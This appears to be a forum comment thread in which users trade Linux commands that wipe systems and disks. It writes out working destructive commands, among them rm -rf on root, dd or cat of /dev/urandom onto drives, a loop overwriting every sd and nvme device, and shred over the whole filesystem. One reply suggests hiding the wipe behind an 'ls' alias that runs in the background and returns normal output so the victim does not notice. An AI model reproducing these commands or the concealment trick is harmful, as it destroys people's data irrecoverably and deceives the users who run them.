    If you allow root privileges, there is:

    sudo rm -rf --no-preserve-root /

    If you want to be malicious:

    sudo dd if=/dev/urandom of=/dev/sdX

    or

    sudo find / -exec shred -u {} \;

      Let’s extend a little and really do some damage

      for x in /dev/(sd|nvme)*; do dd if=/dev/urandom of=$x bs=1024 & ; done

        Now alias ls= all that. And throw it in a background process. And actually return the value of ls so it doesn’t look like anything nefarious is going on.

        I bet you could chroot into a ram disk so you’re not tearing the floor out from under you.

        The victim would find this prank hilarious and everyone would like you and think you’re super cool.

      sudo dd if=/dev/urandom of=/dev/sdX

      sudo cp /dev/urandom /dev/nvme0n1 or

      # cat /dev/urandom > /dev/nvme0n1

      Way faster.

      But honestly, find ~/ -type f -delete is almost as bad.
